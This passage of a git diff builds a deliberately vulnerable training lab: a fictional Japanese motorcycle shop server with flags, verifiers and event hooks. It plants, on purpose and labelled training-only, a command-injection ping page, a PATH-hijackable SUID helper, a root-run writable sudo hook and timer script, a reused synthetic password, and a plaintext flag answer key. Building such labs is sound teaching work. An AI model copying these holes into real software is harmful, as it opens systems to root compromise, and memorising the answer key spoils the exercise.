+ExecStartPre=/usr/local/libexec/open-world-timer-check
+ExecStart=/bin/sh /opt/kazekiri/maintenance/nightly.sh
diff --git a/labs/open-world-target/world/fixtures/rootfs/etc/systemd/system/open-world-root-timer.timer b/labs/open-world-target/world/fixtures/rootfs/etc/systemd/system/open-world-root-timer.timer
new file mode 100644
index 0000000..4b12db4
--- /dev/null
+++ b/labs/open-world-target/world/fixtures/rootfs/etc/systemd/system/open-world-root-timer.timer
@@ -0,0 +1,12 @@
+[Unit]
+Description=TRAINING ONLY - Kazekiri root maintenance timer
+PartOf=open-world-vulnerable.target
+
+[Timer]
+OnBootSec=3min
+OnUnitActiveSec=3min
+Unit=open-world-root-timer.service
+AccuracySec=1s
+
+[Install]
+WantedBy=timers.target
diff --git a/labs/open-world-target/world/fixtures/rootfs/etc/systemd/system/smbd.service.d/open-world-target.conf b/labs/open-world-target/world/fixtures/rootfs/etc/systemd/system/smbd.service.d/open-world-target.conf
new file mode 100644
index 0000000..91e7570
--- /dev/null
+++ b/labs/open-world-target/world/fixtures/rootfs/etc/systemd/system/smbd.service.d/open-world-target.conf
@@ -0,0 +1,2 @@
+[Unit]
+PartOf=open-world-vulnerable.target
diff --git a/labs/open-world-target/world/fixtures/rootfs/etc/systemd/system/ssh.service.d/open-world-target.conf b/labs/open-world-target/world/fixtures/rootfs/etc/systemd/system/ssh.service.d/open-world-target.conf
new file mode 100644
index 0000000..91e7570
--- /dev/null
+++ b/labs/open-world-target/world/fixtures/rootfs/etc/systemd/system/ssh.service.d/open-world-target.conf
@@ -0,0 +1,2 @@
+[Unit]
+PartOf=open-world-vulnerable.target
diff --git a/labs/open-world-target/world/fixtures/rootfs/etc/tmpfiles.d/open-world-target.conf b/labs/open-world-target/world/fixtures/rootfs/etc/tmpfiles.d/open-world-target.conf
new file mode 100644
index 0000000..285bd7c
--- /dev/null
+++ b/labs/open-world-target/world/fixtures/rootfs/etc/tmpfiles.d/open-world-target.conf
@@ -0,0 +1,5 @@
+d /srv/kazekiri/maintenance-hooks 0775 root lab-foothold -
+d /opt/kazekiri/maintenance 0775 root lab-foothold -
+f /opt/kazekiri/maintenance/nightly.sh 0775 root lab-foothold -
+d /opt/kazekiri/clues 0550 root lab-foothold -
+d /var/www/.lab-flags 0750 root www-data -
diff --git a/labs/open-world-target/world/fixtures/rootfs/opt/kazekiri/clues/README-sudo.txt b/labs/open-world-target/world/fixtures/rootfs/opt/kazekiri/clues/README-sudo.txt
new file mode 100644
index 0000000..95bd6d8
--- /dev/null
+++ b/labs/open-world-target/world/fixtures/rootfs/opt/kazekiri/clues/README-sudo.txt
@@ -0,0 +1,2 @@
+保守担当者は sudo -l と /usr/local/sbin/kazekiri-maintenance が読む場所を
+別々に確認してください。この記録は演習専用です。
diff --git a/labs/open-world-target/world/fixtures/rootfs/opt/kazekiri/clues/README-suid.txt b/labs/open-world-target/world/fixtures/rootfs/opt/kazekiri/clues/README-suid.txt
new file mode 100644
index 0000000..c56a0a9
--- /dev/null
+++ b/labs/open-world-target/world/fixtures/rootfs/opt/kazekiri/clues/README-suid.txt
@@ -0,0 +1,2 @@
+教材用report helperは、外部rendererを名前で探します。所有者、SUID bit、
+PATHの順序を確認してください。この記録は演習専用です。
diff --git a/labs/open-world-target/world/fixtures/rootfs/opt/kazekiri/clues/README-timer.txt b/labs/open-world-target/world/fixtures/rootfs/opt/kazekiri/clues/README-timer.txt
new file mode 100644
index 0000000..a7dcb25
--- /dev/null
+++ b/labs/open-world-target/world/fixtures/rootfs/opt/kazekiri/clues/README-timer.txt
@@ -0,0 +1,2 @@
+定期整備のunitと、unitが呼ぶpayloadの所有者・group・modeを比べてください。
+この記録は演習専用です。
diff --git a/labs/open-world-target/world/fixtures/rootfs/opt/kazekiri/maintenance/nightly.sh b/labs/open-world-target/world/fixtures/rootfs/opt/kazekiri/maintenance/nightly.sh
new file mode 100644
index 0000000..9f3156e
--- /dev/null
+++ b/labs/open-world-target/world/fixtures/rootfs/opt/kazekiri/maintenance/nightly.sh
@@ -0,0 +1,3 @@
+#!/bin/sh
+# Golden no-op payload. TRAINING-ONLY: lab-foothold may replace this file.
+exit 0
diff --git a/labs/open-world-target/world/fixtures/rootfs/srv/kazekiri/handover/SHIFT-HANDOVER.txt b/labs/open-world-target/world/fixtures/rootfs/srv/kazekiri/handover/SHIFT-HANDOVER.txt
new file mode 100644
index 0000000..f420dd4
--- /dev/null
+++ b/labs/open-world-target/world/fixtures/rootfs/srv/kazekiri/handover/SHIFT-HANDOVER.txt
@@ -0,0 +1,9 @@
+風切モータース 引き継ぎメモ
+==============================
+
+これはExamServer演習専用の架空データです。
+
+旧販売バックアップを確認するため、訓練アカウント sales の仮パスワードを
+KazeOnly-Training-27 に戻しました。移行確認後に破棄してください。
+
+実在サービス、実在人物、実運用の資格情報ではありません。
diff --git a/labs/open-world-target/world/fixtures/rootfs/usr/local/libexec/kazekiri-report-render b/labs/open-world-target/world/fixtures/rootfs/usr/local/libexec/kazekiri-report-render
new file mode 100644
index 0000000..458da20
--- /dev/null
+++ b/labs/open-world-target/world/fixtures/rootfs/usr/local/libexec/kazekiri-report-render
@@ -0,0 +1,5 @@
+#!/bin/sh
+set -eu
+
+echo "風切モータース 整備レポート"
+echo "training renderer: no pending records"
diff --git a/labs/open-world-target/world/fixtures/rootfs/usr/local/libexec/open-world-nfs-watch b/labs/open-world-target/world/fixtures/rootfs/usr/local/libexec/open-world-nfs-watch
new file mode 100644
index 0000000..00f7149
--- /dev/null
+++ b/labs/open-world-target/world/fixtures/rootfs/usr/local/libexec/open-world-nfs-watch
@@ -0,0 +1,195 @@
+#!/usr/bin/python3
+"""Translate a kernel file-access notification into one allowlisted lab event."""
+
+from __future__ import annotations
+
+import argparse
+import ctypes
+import errno
+import os
+import select
+import signal
+import socket
+import struct
+import subprocess
+import sys
+import time
+from pathlib import Path
+
+
+IN_ACCESS = 0x00000001
+IN_DELETE_SELF = 0x00000400
+IN_MOVE_SELF = 0x00000800
+IN_IGNORED = 0x00008000
+WATCH_MASK = IN_ACCESS | IN_DELETE_SELF | IN_MOVE_SELF
+EVENT_HEADER = struct.Struct("iIII")
+DEFAULT_WATCH_PATH = Path("/home/mechanic/.ssh/ENTRY-NFS.flag")
+DEFAULT_EMITTER = Path("/usr/local/bin/open-world-event")
+EVENT_ARGUMENTS = (
+    "--kind",
+    "entry.discovered",
+    "--node",
+    "entrance-nfs-workshop",
+    "--source",
+    "nfs-server.service",
+    "--evidence",
+    "nfs.workshop.flag_read",
+)
+
+
+class Inotify:
+    def __init__(self) -> None:
+        self.libc = ctypes.CDLL(None, use_errno=True)
+        self.libc.inotify_init1.argtypes = [ctypes.c_int]
+        self.libc.inotify_init1.restype = ctypes.c_int
+        self.libc.inotify_add_watch.argtypes = [
+            ctypes.c_int,
+            ctypes.c_char_p,
+            ctypes.c_uint32,
+        ]
+        self.libc.inotify_add_watch.restype = ctypes.c_int
+        self.fd = self.libc.inotify_init1(os.O_CLOEXEC | os.O_NONBLOCK)
+        if self.fd < 0:
+            error = ctypes.get_errno()
+            raise OSError(error, os.strerror(error))
+
+    def add(self, directory: Path) -> int:
+        watch = self.libc.inotify_add_watch(
+            self.fd,
+            os.fsencode(directory),
+            WATCH_MASK,
+        )
+        if watch < 0:
+            error = ctypes.get_errno()
+            raise OSError(error, os.strerror(error), str(directory))
+        return watch
+
+    def close(self) -> None:
+        os.close(self.fd)
+
+
+def parse_events(
+    payload: bytes,
+    expected_watch: int,
+) -> list[tuple[int, str]]:
+    events: list[tuple[int, str]] = []
+    offset = 0
+    while offset + EVENT_HEADER.size <= len(payload):
+        watch, mask, _cookie, name_length = EVENT_HEADER.unpack_from(
+            payload,
+            offset,
+        )
+        offset += EVENT_HEADER.size
+        raw_name = payload[offset : offset + name_length]
+        offset += name_length
+        if watch == expected_watch:
+            name = os.fsdecode(raw_name.split(b"\0", 1)[0])
+            events.append((mask, name))
+    return events
+
+
+def emit(emitter: Path) -> bool:
+    try:
+        completed = subprocess.run(
+            [str(emitter), *EVENT_ARGUMENTS],
+            check=False,
+            stdin=subprocess.DEVNULL,
+            stdout=subprocess.DEVNULL,
+            stderr=subprocess.DEVNULL,
+            timeout=10,
+        )
+    except (OSError, subprocess.TimeoutExpired):
+        return False
+    return completed.returncode == 0
+
+
+def notify_ready() -> None:
+    address = os.environ.get("NOTIFY_SOCKET")
+    if not address:
+        return
+    if address.startswith("@"):
+        address = "\0" + address[1:]
+    with socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM) as notifier:
+        notifier.connect(address)
+        notifier.sendall(b"READY=1")
+
+
+def watch(path: Path, emitter: Path, *, once: bool) -> int:
+    stopping = False
+
+    def request_stop(_signum: int, _frame: object) -> None:
+        nonlocal stopping
+        stopping = True
+
+    signal.signal(signal.SIGINT, request_stop)
+    signal.signal(signal.SIGTERM, request_stop)
+
+    notifier = Inotify()
+    last_emitted = 0.0
+    ready_notified = False
+    watch_id: int | None = None
+    try:
+        while not stopping:
+            if watch_id is None:
+                try:
+                    watch_id = notifier.add(path.parent)
+                except OSError as error:
+                    if error.errno not in (errno.ENOENT, errno.ENOTDIR):
+                        raise
+                    time.sleep(0.25)
+                    continue
+
+            if not ready_notified and path.is_file():
+                notify_ready()
+                ready_notified = True
+                print("watch-ready", flush=True)
+
+            readable, _, _ = select.select([notifier.fd], [], [], 1.0)
+            if not readable:
+                continue
+
+            try:
+                payload = os.read(notifier.fd, 65536)
+            except BlockingIOError:
+                continue
+
+            for mask, name in parse_events(payload, watch_id):
+                now = time.monotonic()
+                if (
+                    mask & IN_ACCESS
+                    and name == path.name
+                    and now - last_emitted >= 1.0
+                ):
+                    delivered = emit(emitter)
+                    if not delivered:
+                        raise RuntimeError("fixed event delivery failed")
+                    last_emitted = now
+                    if once:
+                        return 0
+                if mask & (IN_DELETE_SELF | IN_MOVE_SELF | IN_IGNORED):
+                    watch_id = None
+                    break
+    finally:
+        notifier.close()
+    return 0
+
+
+def main() -> int:
+    parser = argparse.ArgumentParser(add_help=False)
+    parser.add_argument("--watch", type=Path, default=DEFAULT_WATCH_PATH)
+    parser.add_argument("--emitter", type=Path, default=DEFAULT_EMITTER)
+    parser.add_argument("--once", action="store_true")
+    arguments = parser.parse_args()
+    return watch(arguments.watch, arguments.emitter, once=arguments.once)
+
+
+if __name__ == "__main__":
+    try:
+        raise SystemExit(main())
+    except Exception as error:
+        print(
+            f"open-world-nfs-watch: {type(error).__name__}",
+            file=sys.stderr,
+            flush=True,
+        )
+        raise SystemExit(1)
diff --git a/labs/open-world-target/world/fixtures/rootfs/usr/local/libexec/open-world-ssh-session-event b/labs/open-world-target/world/fixtures/rootfs/usr/local/libexec/open-world-ssh-session-event
new file mode 100644
index 0000000..dca51ba
--- /dev/null
+++ b/labs/open-world-target/world/fixtures/rootfs/usr/local/libexec/open-world-ssh-session-event
@@ -0,0 +1,24 @@
+#!/bin/sh
+set -eu
+
+[ "${PAM_TYPE:-}" = "open_session" ] || exit 0
+
+case "${PAM_USER:-}" in
+  sales)
+    exec /usr/local/bin/open-world-event \
+      --kind foothold.acquired \
+      --node foothold-sales \
+      --source ssh.service \
+      --evidence ssh.sales.session_opened
+    ;;
+  mechanic)
+    exec /usr/local/bin/open-world-event \
+      --kind foothold.acquired \
+      --node foothold-mechanic \
+      --source ssh.service \
+      --evidence ssh.mechanic.session_opened
+    ;;
+  *)
+    exit 0
+    ;;
+esac
diff --git a/labs/open-world-target/world/fixtures/rootfs/usr/local/libexec/open-world-timer-check b/labs/open-world-target/world/fixtures/rootfs/usr/local/libexec/open-world-timer-check
new file mode 100644
index 0000000..282fd3a
--- /dev/null
+++ b/labs/open-world-target/world/fixtures/rootfs/usr/local/libexec/open-world-timer-check
@@ -0,0 +1,12 @@
+#!/bin/sh
+set -eu
+
+payload=/opt/kazekiri/maintenance/nightly.sh
+golden=/usr/local/share/open-world/nightly.sh.golden
+
+if [ -f "$payload" ] && ! /usr/bin/cmp -s "$payload" "$golden"
+then
+  /usr/bin/head -c 1 /root/route-flags/TIMER.flag >/dev/null
+fi
+
+exit 0
diff --git a/labs/open-world-target/world/fixtures/rootfs/usr/local/sbin/kazekiri-maintenance b/labs/open-world-target/world/fixtures/rootfs/usr/local/sbin/kazekiri-maintenance
new file mode 100644
index 0000000..2b6d397
--- /dev/null
+++ b/labs/open-world-target/world/fixtures/rootfs/usr/local/sbin/kazekiri-maintenance
@@ -0,0 +1,21 @@
+#!/bin/sh
+set -eu
+
+hook="${1:-}"
+resolved_hook=$(/usr/bin/realpath -e -- "$hook" 2>/dev/null) || {
+  echo "hook not found" >&2
+  exit 2
+}
+case "$resolved_hook" in
+  /srv/kazekiri/maintenance-hooks/*) ;;
+  *)
+    echo "usage: sudo kazekiri-maintenance /srv/kazekiri/maintenance-hooks/NAME" >&2
+    exit 2
+    ;;
+esac
+[ -f "$resolved_hook" ] || exit 2
+
+/usr/bin/head -c 1 /root/route-flags/SUDO.flag >/dev/null
+
+# TRAINING-ONLY: the group-writable hook is intentionally executed as root.
+exec /bin/sh "$resolved_hook"
diff --git a/labs/open-world-target/world/fixtures/rootfs/usr/local/share/open-world/nightly.sh.golden b/labs/open-world-target/world/fixtures/rootfs/usr/local/share/open-world/nightly.sh.golden
new file mode 100644
index 0000000..9f3156e
--- /dev/null
+++ b/labs/open-world-target/world/fixtures/rootfs/usr/local/share/open-world/nightly.sh.golden
@@ -0,0 +1,3 @@
+#!/bin/sh
+# Golden no-op payload. TRAINING-ONLY: lab-foothold may replace this file.
+exit 0
diff --git a/labs/open-world-target/world/fixtures/rootfs/usr/local/src/kazekiri-report.c b/labs/open-world-target/world/fixtures/rootfs/usr/local/src/kazekiri-report.c
new file mode 100644
index 0000000..a40a3cc
--- /dev/null
+++ b/labs/open-world-target/world/fixtures/rootfs/usr/local/src/kazekiri-report.c
@@ -0,0 +1,66 @@
+/*
+ * TRAINING-ONLY SUID helper.
+ * It intentionally resolves kazekiri-report-render from PATH.
+ */
+#define _GNU_SOURCE
+#include <errno.h>
+#include <limits.h>
+#include <stdbool.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+static bool resolves_nonstandard_renderer(void)
+{
+    const char *path_value = getenv("PATH");
+    char path_copy[4096];
+    char candidate[PATH_MAX];
+    char *save = NULL;
+    char *directory = NULL;
+
+    if (path_value == NULL || strlen(path_value) >= sizeof(path_copy)) {
+        return false;
+    }
+    strcpy(path_copy, path_value);
+
+    for (directory = strtok_r(path_copy, ":", &save);
+         directory != NULL;
+         directory = strtok_r(NULL, ":", &save)) {
+        if (snprintf(candidate, sizeof(candidate), "%s/%s",
+                     directory, "kazekiri-report-render") >=
+            (int)sizeof(candidate)) {
+            continue;
+        }
+        if (access(candidate, X_OK) == 0) {
+            return strcmp(candidate,
+                          "/usr/local/libexec/kazekiri-report-render") != 0;
+        }
+    }
+    return false;
+}
+
+int main(void)
+{
+    bool nonstandard_renderer = resolves_nonstandard_renderer();
+    FILE *route_flag = NULL;
+
+    if (setgid(0) != 0 || setuid(0) != 0) {
+        fprintf(stderr, "training helper could not set uid: %s\n",
+                strerror(errno));
+        return 1;
+    }
+    if (nonstandard_renderer) {
+        route_flag = fopen("/root/route-flags/SUID.flag", "r");
+        if (route_flag != NULL) {
+            (void)fgetc(route_flag);
+            (void)fclose(route_flag);
+        }
+    }
+
+    /* TRAINING-ONLY: execlp is the intentional unsafe PATH boundary. */
+    execlp("kazekiri-report-render", "kazekiri-report-render", NULL);
+    fprintf(stderr, "renderer not found: %s\n", strerror(errno));
+    return 1;
+}
diff --git a/labs/open-world-target/world/fixtures/rootfs/var/www/kazekiri/index.php b/labs/open-world-target/world/fixtures/rootfs/var/www/kazekiri/index.php
new file mode 100644
index 0000000..9cb1835
--- /dev/null
+++ b/labs/open-world-target/world/fixtures/rootfs/var/www/kazekiri/index.php
@@ -0,0 +1,29 @@
+<?php
+declare(strict_types=1);
+?><!doctype html>
+<html lang="ja">
+<head>
+  <meta charset="utf-8">
+  <meta name="viewport" content="width=device-width, initial-scale=1">
+  <title>風切モータース | 在庫・整備受付</title>
+  <style>
+    body { max-width: 56rem; margin: 3rem auto; padding: 0 1rem; color: #1f1b16; background: #f7f5f1; font-family: sans-serif; line-height: 1.7; }
+    header, main { border: 1px solid #ded6c9; background: #fffdfa; padding: 1.5rem; }
+    header { border-bottom: 0; }
+    h1 { margin: 0; font-family: serif; }
+    a { color: #6f3e16; }
+    .notice { color: #70665a; }
+  </style>
+</head>
+<body>
+  <header>
+    <p class="notice">演習専用の架空サイト</p>
+    <h1>風切モータース</h1>
+  </header>
+  <main>
+    <h2>中古バイク販売・整備受付</h2>
+    <p>販売車両の入庫確認と、整備予約の社内受付を行っています。</p>
+    <p><a href="/staff/diagnostics.php">スタッフ向け接続診断</a></p>
+  </main>
+</body>
+</html>
diff --git a/labs/open-world-target/world/fixtures/rootfs/var/www/kazekiri/staff/diagnostics.php b/labs/open-world-target/world/fixtures/rootfs/var/www/kazekiri/staff/diagnostics.php
new file mode 100644
index 0000000..7c88b9a
--- /dev/null
+++ b/labs/open-world-target/world/fixtures/rootfs/var/www/kazekiri/staff/diagnostics.php
@@ -0,0 +1,73 @@
+<?php
+declare(strict_types=1);
+
+function emit_lab_event(string $kind, string $node, string $evidence): void
+{
+    $parts = [
+        "/usr/local/bin/open-world-event",
+        "--kind", $kind,
+        "--node", $node,
+        "--source", "apache2.service",
+        "--evidence", $evidence,
+    ];
+    $command = implode(" ", array_map("escapeshellarg", $parts));
+    @exec($command . " >/dev/null 2>&1");
+}
+
+emit_lab_event(
+    "entry.discovered",
+    "entrance-web-diagnostics",
+    "web.diagnostics.opened"
+);
+
+$target = "";
+$output = "";
+if ($_SERVER["REQUEST_METHOD"] === "POST") {
+    $target = substr((string)($_POST["target"] ?? ""), 0, 160);
+    if (preg_match('/[;&|`$()<>\\r\\n]/', $target) === 1) {
+        emit_lab_event(
+            "foothold.acquired",
+            "foothold-www-data",
+            "web.command.execution_observed"
+        );
+    }
+
+    // TRAINING-ONLY: command concatenation is the intentional Web entrance.
+    // Never copy this pattern into a real service.
+    $output = (string)shell_exec("/bin/ping -c 1 " . $target . " 2>&1");
+}
+
+$entryFlag = @file_get_contents(
+    "/var/lib/open-world/flags/entry-web.flag"
+);
+?><!doctype html>
+<html lang="ja">
+<head>
+  <meta charset="utf-8">
+  <meta name="viewport" content="width=device-width, initial-scale=1">
+  <title>接続診断 | 風切モータース</title>
+  <style>
+    body { max-width: 48rem; margin: 3rem auto; padding: 0 1rem; color: #1f1b16; background: #f7f5f1; font-family: sans-serif; line-height: 1.6; }
+    main { border: 1px solid #ded6c9; background: #fffdfa; padding: 1.5rem; }
+    label, input, button { display: block; width: 100%; box-sizing: border-box; }
+    input, button { min-height: 44px; margin-top: .5rem; }
+    pre { overflow-wrap: anywhere; white-space: pre-wrap; background: #f0ece5; padding: 1rem; }
+  </style>
+</head>
+<body>
+  <main>
+    <p>演習専用・スタッフ向け</p>
+    <h1>接続診断</h1>
+    <p>確認コード: <?= htmlspecialchars(trim((string)$entryFlag), ENT_QUOTES, "UTF-8") ?></p>
+    <form method="post">
+      <label for="target">確認先</label>
+      <input id="target" name="target" value="<?= htmlspecialchars($target, ENT_QUOTES, "UTF-8") ?>" placeholder="127.0.0.1">
+      <button type="submit">疎通を確認</button>
+    </form>
+    <?php if ($output !== ""): ?>
+      <h2>結果</h2>
+      <pre><?= htmlspecialchars($output, ENT_QUOTES, "UTF-8") ?></pre>
+    <?php endif; ?>
+  </main>
+</body>
+</html>
diff --git a/labs/open-world-target/world/fixtures/synthetic-credentials.json b/labs/open-world-target/world/fixtures/synthetic-credentials.json
new file mode 100644
index 0000000..8754cca
--- /dev/null
+++ b/labs/open-world-target/world/fixtures/synthetic-credentials.json
@@ -0,0 +1,10 @@
+{
+  "trainingOnly": true,
+  "accounts": [
+    {
+      "username": "sales",
+      "password": "KazeOnly-Training-27",
+      "purpose": "anonymous SMB backup disclosure and SSH credential reuse"
+    }
+  ]
+}
diff --git a/labs/open-world-target/world/flag-verifiers.mjs b/labs/open-world-target/world/flag-verifiers.mjs
new file mode 100644
index 0000000..b453eb1
--- /dev/null
+++ b/labs/open-world-target/world/flag-verifiers.mjs
@@ -0,0 +1,68 @@
+import { createHash, timingSafeEqual } from "node:crypto";
+
+// Public, one-way verifier data. `private-answers.mjs` is build-only and must
+// never be copied to the Debian target.
+const ANSWER_DIGESTS = Object.freeze({
+  "flag-entry-web":
+    "651ec454239bdc21138fee91d0f241b9ff0cd498fe45281759e0cbae8ea685f1",
+  "flag-entry-smb":
+    "99104acca2eca3d44d165276a2f78a6f66ef7c5ffe95305bb29a763d363017fa",
+  "flag-entry-nfs":
+    "95acb2b846b24163551a73a39c2267e2c147d22ba9a9500115add1901ba3e465",
+  "flag-foothold-www-data":
+    "71a766b195212a3cc2c2e9a806b0144ecef6941806766bcc4dc90ea0cfab0aee",
+  "flag-foothold-sales":
+    "399300180c8b80dcfd2c158dcbe031b667be3db49179d99777d811e6ad58b8b0",
+  "flag-foothold-mechanic":
+    "15fab0f7cb45417fe57035395e6361f30d7e09e880a23f5398884a80cc2b191d",
+  "flag-clue-sudo":
+    "196f745d5b135864e43ca38b97539677e18ab4c836f4d14423d74aeac596165e",
+  "flag-clue-timer":
+    "c8eb2a5c97a74c1c09a698f802e6cf8a01df73351fefb8ec3a0709332c0d44f5",
+  "flag-clue-suid":
+    "c02b199d5ca4448265062e530364dbbee1e34d322682245eb0c147a6747d87f8",
+  "flag-route-sudo":
+    "0e8f737108c4a6806ae5dfd74bb4b4424ae9431c5fa4ac2dd3138f60eb58f2eb",
+  "flag-route-timer":
+    "7370d03c2f5ee921b66094d4fc475f6ca74bda39f3675858c2bd97f8a0331165",
+  "flag-route-suid":
+    "a477809271c6e81f34eb00d4d2020e302ec2a0a75f9503c5a1dd03da32f4d73a",
+  "flag-root-common":
+    "b48126d2fd87ba584522180ef46f6a0703b9389ab759e584d7b662b21606acaf",
+  "flag-windows":
+    "5e3f88bdba6439fc7599e69a3512c3c2053c11ea4925718ddc1ab267dd68c8cf",
+});
+
+const ANSWER_HASHES = new Map(
+  Object.entries(ANSWER_DIGESTS).map(([flagId, digest]) => {
+    if (!/^[a-f0-9]{64}$/.test(digest)) {
+      throw new Error(`invalid verifier digest for ${flagId}`);
+    }
+    return [flagId, Buffer.from(digest, "hex")];
+  }),
+);
+
+export function getVerifierFlagIds() {
+  return Object.keys(ANSWER_DIGESTS);
+}
+
+export function verifyFlagAnswer(candidate) {
+  if (
+    typeof candidate !== "string" ||
+    candidate.length < 12 ||
+    candidate.length > 128
+  ) {
+    return null;
+  }
+
+  const candidateHash = createHash("sha256")
+    .update(candidate, "utf8")
+    .digest();
+
+  for (const [flagId, expectedHash] of ANSWER_HASHES) {
+    if (timingSafeEqual(candidateHash, expectedHash)) {
+      return flagId;
+    }
+  }
+  return null;
+}
diff --git a/labs/open-world-target/world/materialize-flags.mjs b/labs/open-world-target/world/materialize-flags.mjs
new file mode 100644
index 0000000..ece3780
--- /dev/null
+++ b/labs/open-world-target/world/materialize-flags.mjs
@@ -0,0 +1,66 @@
+import { chmod, mkdir, open } from "node:fs/promises";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+import { getPrivateFlagAnswer } from "./private-answers.mjs";
+import { validatePrivateAnswers } from "./validate-private-answers.mjs";
+import { WORLD } from "./world-definition.mjs";
+
+function assertSafeDestination(destinationRoot) {
+  if (!path.isAbsolute(destinationRoot)) {
+    throw new Error("destination root must be an absolute path");
+  }
+  const resolved = path.resolve(destinationRoot);
+  if (resolved === path.parse(resolved).root) {
+    throw new Error("refusing to materialize flags at a filesystem root");
+  }
+  return resolved;
+}
+
+export async function materializeFlags(destinationRoot, { force = false } = {}) {
+  validatePrivateAnswers();
+  const resolvedRoot = assertSafeDestination(destinationRoot);
+  const written = [];
+
+  for (const flag of WORLD.flags) {
+    const destination = path.resolve(resolvedRoot, flag.location);
+    const relative = path.relative(resolvedRoot, destination);
+    if (
+      relative.startsWith("..") ||
+      path.isAbsolute(relative) ||
+      relative.length === 0
+    ) {
+      throw new Error(`unsafe flag location: ${flag.location}`);
+    }
+
+    await mkdir(path.dirname(destination), { recursive: true });
+    const handle = await open(destination, force ? "w" : "wx", flag.mode);
+    try {
+      await handle.writeFile(`${getPrivateFlagAnswer(flag.id)}\n`, "utf8");
+    } finally {
+      await handle.close();
+    }
+    await chmod(destination, flag.mode);
+    written.push(destination);
+  }
+
+  return written;
+}
+
+const invokedPath = process.argv[1]
+  ? pathToFileURL(process.argv[1]).href
+  : null;
+if (invokedPath === import.meta.url) {
+  const destinationRoot = process.argv[2];
+  if (!destinationRoot) {
+    process.stderr.write(
+      "usage: node materialize-flags.mjs /absolute/staging/root [--force]\n",
+    );
+    process.exitCode = 2;
+  } else {
+    const written = await materializeFlags(destinationRoot, {
+      force: process.argv.includes("--force"),
+    });
+    process.stdout.write(`materialized ${written.length} training flags\n`);
+  }
+}
diff --git a/labs/open-world-target/world/private-answers.mjs b/labs/open-world-target/world/private-answers.mjs
new file mode 100644
index 0000000..39117b6
--- /dev/null
+++ b/labs/open-world-target/world/private-answers.mjs
@@ -0,0 +1,42 @@
+const ANSWERS = Object.freeze({
+  "flag-entry-web":
+    "FLAG{ow_web_diagnostic_c8ce86ed0d7ff1774f694c82a7aab6b0}",
+  "flag-entry-smb":
+    "FLAG{ow_smb_handover_722e7203ff0475cbecb27d39729c9fd8}",
+  "flag-entry-nfs":
+    "FLAG{ow_nfs_ownership_e33a5e460c417f2c30c5afa984a58dcb}",
+  "flag-foothold-www-data":
+    "FLAG{ow_www_data_foothold_c991f8fa92ce878ee7937c0cd5c701bb}",
+  "flag-foothold-sales":
+    "FLAG{ow_sales_foothold_e8d055cf8eeb409bd2b82736319b2daa}",
+  "flag-foothold-mechanic":
+    "FLAG{ow_mechanic_foothold_e119f66569bb885a09a8102b1621fd18}",
+  "flag-clue-sudo":
+    "FLAG{ow_clue_sudo_hook_2d1c474a373fee7cbdb7adff80e260a3}",
+  "flag-clue-timer":
+    "FLAG{ow_clue_timer_payload_c7e1cb22cfee593c8dbb23f6b80a6aba}",
+  "flag-clue-suid":
+    "FLAG{ow_clue_suid_path_45b76bde29ca3078b6f50d1905bdaa79}",
+  "flag-route-sudo":
+    "FLAG{ow_route_sudo_hook_94b3d31b805de29ed55df35a7c06c4fa}",
+  "flag-route-timer":
+    "FLAG{ow_route_timer_payload_f3b48ba001b34c24bb175e408f670c28}",
+  "flag-route-suid":
+    "FLAG{ow_route_suid_path_357f9b3df637c104ac13934621e9f973}",
+  "flag-root-common":
+    "FLAG{ow_debian_root_67be4b714bbafc79b6def31d68cd7823}",
+  "flag-windows":
+    "FLAG{ow_windows_archive_d9f5fb64e9bcbeccc0471e74f3468fa09303affe612713c1}",
+});
+
+export function getPrivateFlagAnswer(flagId) {
+  const answer = ANSWERS[flagId];
+  if (answer === undefined) {
+    throw new Error(`Unknown flag id: ${flagId}`);
+  }
+  return answer;
+}
+
+export function getPrivateFlagIds() {
+  return Object.keys(ANSWERS);
+}
diff --git a/labs/open-world-target/world/validate-private-answers.mjs b/labs/open-world-target/world/validate-private-answers.mjs
new file mode 100644
index 0000000..cca4163
--- /dev/null
+++ b/labs/open-world-target/world/validate-private-answers.mjs
@@ -0,0 +1,87 @@
+import { pathToFileURL } from "node:url";
+
+import {
+  getPrivateFlagAnswer,
+  getPrivateFlagIds,
+} from "./private-answers.mjs";
+import {
+  getVerifierFlagIds,
+  verifyFlagAnswer,
+} from "./flag-verifiers.mjs";
+import { validateWorld } from "./validate-world.mjs";
+import { WORLD } from "./world-definition.mjs";
+
+function assert(condition, message) {
+  if (!condition) {
+    throw new Error(message);
+  }
+}
+
+function extractRandomSuffix(answer, flagId) {
+  assert(
+    typeof answer === "string" &&
+      answer.startsWith("FLAG{ow_") &&
+      answer.endsWith("}"),
+    `flag answer has an invalid envelope: ${flagId}`,
+  );
+  const separator = answer.lastIndexOf("_");
+  const suffix = answer.slice(separator + 1, -1);
+  assert(
+    /^[a-f0-9]+$/.test(suffix) &&
+      suffix.length >= 32 &&
+      suffix.length % 2 === 0,
+    `flag answer must contain at least 128 bits of random hex: ${flagId}`,
+  );
+  return suffix;
+}
+
+export function validatePrivateAnswers(world = WORLD) {
+  const result = validateWorld(world);
+  const worldFlagIds = new Set(world.flags.map((flag) => flag.id));
+  const privateFlagIds = getPrivateFlagIds();
+  const verifierFlagIds = getVerifierFlagIds();
+
+  assert(
+    new Set(privateFlagIds).size === privateFlagIds.length,
+    "private flag ids must be unique",
+  );
+  assert(
+    privateFlagIds.length === worldFlagIds.size &&
+      privateFlagIds.every((flagId) => worldFlagIds.has(flagId)),
+    "private answers must match the 14 logical flags exactly",
+  );
+  assert(
+    privateFlagIds.length === verifierFlagIds.length &&
+      privateFlagIds.every((flagId) => verifierFlagIds.includes(flagId)),
+    "private answers and public verifiers must have identical ids",
+  );
+  const randomSuffixes = [];
+  for (const flagId of privateFlagIds) {
+    const answer = getPrivateFlagAnswer(flagId);
+    assert(
+      verifyFlagAnswer(answer) === flagId,
+      `verifier digest is stale for ${flagId}`,
+    );
+    randomSuffixes.push(extractRandomSuffix(answer, flagId));
+  }
+  assert(
+    new Set(randomSuffixes).size === randomSuffixes.length,
+    "flag random suffixes must be unique",
+  );
+  assert(
+    extractRandomSuffix(
+      getPrivateFlagAnswer("flag-windows"),
+      "flag-windows",
+    ).length === 48,
+    "Windows flag must contain a 192-bit random suffix",
+  );
+  return result;
+}
+
+const invokedPath = process.argv[1]
+  ? pathToFileURL(process.argv[1]).href
+  : null;
+if (invokedPath === import.meta.url) {
